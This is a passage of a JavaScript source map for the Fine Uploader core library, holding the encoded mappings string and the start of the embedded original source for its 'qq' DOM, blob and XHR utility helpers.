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","file":"fine-uploader.core.js","sourcesContent":[null,"/*globals window, navigator, document, FormData, File, HTMLInputElement, XMLHttpRequest, Blob, Storage, ActiveXObject */\n/* jshint -W079 */\nvar qq = function(element) {\n    \"use strict\";\n\n    return {\n        hide: function() {\n            element.style.display = \"none\";\n            return this;\n        },\n\n        /** Returns the function which detaches attached event */\n        attach: function(type, fn) {\n            if (element.addEventListener) {\n                element.addEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.attachEvent(\"on\" + type, fn);\n            }\n            return function() {\n                qq(element).detach(type, fn);\n            };\n        },\n\n        detach: function(type, fn) {\n            if (element.removeEventListener) {\n                element.removeEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.detachEvent(\"on\" + type, fn);\n            }\n            return this;\n        },\n\n        contains: function(descendant) {\n            // The [W3C spec](http://www.w3.org/TR/domcore/#dom-node-contains)\n            // says a `null` (or ostensibly `undefined`) parameter\n            // passed into `Node.contains` should result in a false return value.\n            // IE7 throws an exception if the parameter is `undefined` though.\n            if (!descendant) {\n                return false;\n            }\n\n            // compareposition returns false in this case\n            if (element === descendant) {\n                return true;\n            }\n\n            if (element.contains) {\n                return element.contains(descendant);\n            } else {\n                /*jslint bitwise: true*/\n                return !!(descendant.compareDocumentPosition(element) & 8);\n            }\n        },\n\n        /**\n         * Insert this element before elementB.\n         */\n        insertBefore: function(elementB) {\n            elementB.parentNode.insertBefore(element, elementB);\n            return this;\n        },\n\n        remove: function() {\n            element.parentNode.removeChild(element);\n            return this;\n        },\n\n        /**\n         * Sets styles for an element.\n         * Fixes opacity in IE6-8.\n         */\n        css: function(styles) {\n            /*jshint eqnull: true*/\n            if (element.style == null) {\n                throw new qq.Error(\"Can't apply style to node as it is not on the HTMLElement prototype chain!\");\n            }\n\n            /*jshint -W116*/\n            if (styles.opacity != null) {\n                if (typeof element.style.opacity !== \"string\" && typeof (element.filters) !== \"undefined\") {\n                    styles.filter = \"alpha(opacity=\" + Math.round(100 * styles.opacity) + \")\";\n                }\n            }\n            qq.extend(element.style, styles);\n\n            return this;\n        },\n\n        hasClass: function(name, considerParent) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));\n        },\n\n        addClass: function(name) {\n            if (!qq(element).hasClass(name)) {\n                element.className += \" \" + name;\n            }\n            return this;\n        },\n\n        removeClass: function(name) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            element.className = element.className.replace(re, \" \").replace(/^\\s+|\\s+$/g, \"\");\n            return this;\n        },\n\n        getByClass: function(className, first) {\n            var candidates,\n                result = [];\n\n            if (first && element.querySelector) {\n                return element.querySelector(\".\" + className);\n            }\n            else if (element.querySelectorAll) {\n                return element.querySelectorAll(\".\" + className);\n            }\n\n            candidates = element.getElementsByTagName(\"*\");\n\n            qq.each(candidates, function(idx, val) {\n                if (qq(val).hasClass(className)) {\n                    result.push(val);\n                }\n            });\n            return first ? result[0] : result;\n        },\n\n        getFirstByClass: function(className) {\n            return qq(element).getByClass(className, true);\n        },\n\n        children: function() {\n            var children = [],\n                child = element.firstChild;\n\n            while (child) {\n                if (child.nodeType === 1) {\n                    children.push(child);\n                }\n                child = child.nextSibling;\n            }\n\n            return children;\n        },\n\n        setText: function(text) {\n            element.innerText = text;\n            element.textContent = text;\n            return this;\n        },\n\n        clearText: function() {\n            return qq(element).setText(\"\");\n        },\n\n        // Returns true if the attribute exists on the element\n        // AND the value of the attribute is NOT \"false\" (case-insensitive)\n        hasAttribute: function(attrName) {\n            var attrVal;\n\n            if (element.hasAttribute) {\n\n                if (!element.hasAttribute(attrName)) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(element.getAttribute(attrName)) == null;\n            }\n            else {\n                attrVal = element[attrName];\n\n                if (attrVal === undefined) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(attrVal) == null;\n            }\n        }\n    };\n};\n\n(function() {\n    \"use strict\";\n\n    qq.canvasToBlob = function(canvas, mime, quality) {\n        return qq.dataUriToBlob(canvas.toDataURL(mime, quality));\n    };\n\n    qq.dataUriToBlob = function(dataUri) {\n        var arrayBuffer, byteString,\n            createBlob = function(data, mime) {\n                var BlobBuilder = window.BlobBuilder ||\n                        window.WebKitBlobBuilder ||\n                        window.MozBlobBuilder ||\n                        window.MSBlobBuilder,\n                    blobBuilder = BlobBuilder && new BlobBuilder();\n\n                if (blobBuilder) {\n                    blobBuilder.append(data);\n                    return blobBuilder.getBlob(mime);\n                }\n                else {\n                    return new Blob([data], {type: mime});\n                }\n            },\n            intArray, mimeString;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return createBlob(arrayBuffer, mimeString);\n    };\n\n    qq.log = function(message, level) {\n        if (window.console) {\n            if (!level || level === \"info\") {\n                window.console.log(message);\n            }\n            else\n            {\n                if (window.console[level]) {\n                    window.console[level](message);\n                }\n                else {\n                    window.console.log(\"<\" + level + \"> \" + message);\n                }\n            }\n        }\n    };\n\n    qq.isObject = function(variable) {\n        return variable && !variable.nodeType && Object.prototype.toString.call(variable) === \"[object Object]\";\n    };\n\n    qq.isFunction = function(variable) {\n        return typeof (variable) === \"function\";\n    };\n\n    /**\n     * Check the type of a value.  Is it an \"array\"?\n     *\n     * @param value value to test.\n     * @returns true if the value is an array or associated with an `ArrayBuffer`\n     */\n    qq.isArray = function(value) {\n        return Object.prototype.toString.call(value) === \"[object Array]\" ||\n            (value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer);\n    };\n\n    // Looks for an object on a `DataTransfer` object that is associated with drop events when utilizing the Filesystem API.\n    qq.isItemList = function(maybeItemList) {\n        return Object.prototype.toString.call(maybeItemList) === \"[object DataTransferItemList]\";\n    };\n\n    // Looks for an object on a `NodeList` or an `HTMLCollection`|`HTMLFormElement`|`HTMLSelectElement`\n    // object that is associated with collections of Nodes.\n    qq.isNodeList = function(maybeNodeList) {\n        return Object.prototype.toString.call(maybeNodeList) === \"[object NodeList]\" ||\n            // If `HTMLCollection` is the actual type of the object, we must determine this\n            // by checking for expected properties/methods on the object\n            (maybeNodeList.item && maybeNodeList.namedItem);\n    };\n\n    qq.isString = function(maybeString) {\n        return Object.prototype.toString.call(maybeString) === \"[object String]\";\n    };\n\n    qq.trimStr = function(string) {\n        if (String.prototype.trim) {\n            return string.trim();\n        }\n\n        return string.replace(/^\\s+|\\s+$/g, \"\");\n    };\n\n    /**\n     * @param str String to format.\n     * @returns {string} A string, swapping argument values with the associated occurrence of {} in the passed string.\n     */\n    qq.format = function(str) {\n\n        var args =  Array.prototype.slice.call(arguments, 1),\n            newStr = str,\n            nextIdxToReplace = newStr.indexOf(\"{}\");\n\n        qq.each(args, function(idx, val) {\n            var strBefore = newStr.substring(0, nextIdxToReplace),\n                strAfter = newStr.substring(nextIdxToReplace + 2);\n\n            newStr = strBefore + val + strAfter;\n            nextIdxToReplace = newStr.indexOf(\"{}\", nextIdxToReplace + val.length);\n\n            // End the loop if we have run out of tokens (when the arguments exceed the # of tokens)\n            if (nextIdxToReplace < 0) {\n                return false;\n            }\n        });\n\n        return newStr;\n    };\n\n    qq.isFile = function(maybeFile) {\n        return window.File && Object.prototype.toString.call(maybeFile) === \"[object File]\";\n    };\n\n    qq.isFileList = function(maybeFileList) {\n        return window.FileList && Object.prototype.toString.call(maybeFileList) === \"[object FileList]\";\n    };\n\n    qq.isFileOrInput = function(maybeFileOrInput) {\n        return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);\n    };\n\n    qq.isInput = function(maybeInput, notFile) {\n        var evaluateType = function(type) {\n            var normalizedType = type.toLowerCase();\n\n            if (notFile) {\n                return normalizedType !== \"file\";\n            }\n\n            return normalizedType === \"file\";\n        };\n\n        if (window.HTMLInputElement) {\n            if (Object.prototype.toString.call(maybeInput) === \"[object HTMLInputElement]\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n        if (maybeInput.tagName) {\n            if (maybeInput.tagName.toLowerCase() === \"input\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    };\n\n    qq.isBlob = function(maybeBlob) {\n        if (window.Blob && Object.prototype.toString.call(maybeBlob) === \"[object Blob]\") {\n            return true;\n        }\n    };\n\n    qq.isXhrUploadSupported = function() {\n        var input = document.createElement(\"input\");\n        input.type = \"file\";\n\n        return (\n            input.multiple !== undefined &&\n                typeof File !== \"undefined\" &&\n                typeof FormData !== \"undefined\" &&\n                typeof (qq.createXhrInstance()).upload !== \"undefined\");\n    };\n\n    // Fall back to ActiveX is native XHR is disabled (possible in any version of IE).\n    qq.createXhrInstance = function() {\n        if (window.XMLHttpRequest) {\n            return new XMLHttpRequest();\n        }\n\n        try {\n            return new ActiveXObject(\"MSXML2.XMLHTTP.3.0\");\n        }\n        catch (error) {\n            qq.log(\"Neither XHR or ActiveX are supported!\", \"error\");\n            return null;\n        }\n    };\n\n    qq.isFolderDropSupported = function(dataTransfer) {\n        return dataTransfer.items &&\n            dataTransfer.items.length > 0 &&\n            dataTransfer.items[0].webkitGetAsEntry;\n    };\n\n    qq.isFileChunkingSupported = function() {\n        return !qq.androidStock() && //Android's stock browser cannot upload Blobs correctly\n            qq.isXhrUploadSupported() &&\n            (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);\n    };\n\n    qq.sliceBlob = function(fileOrBlob, start, end) {\n        var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;\n\n        return slicer.call(fileOrBlob, start, end);\n    };\n\n    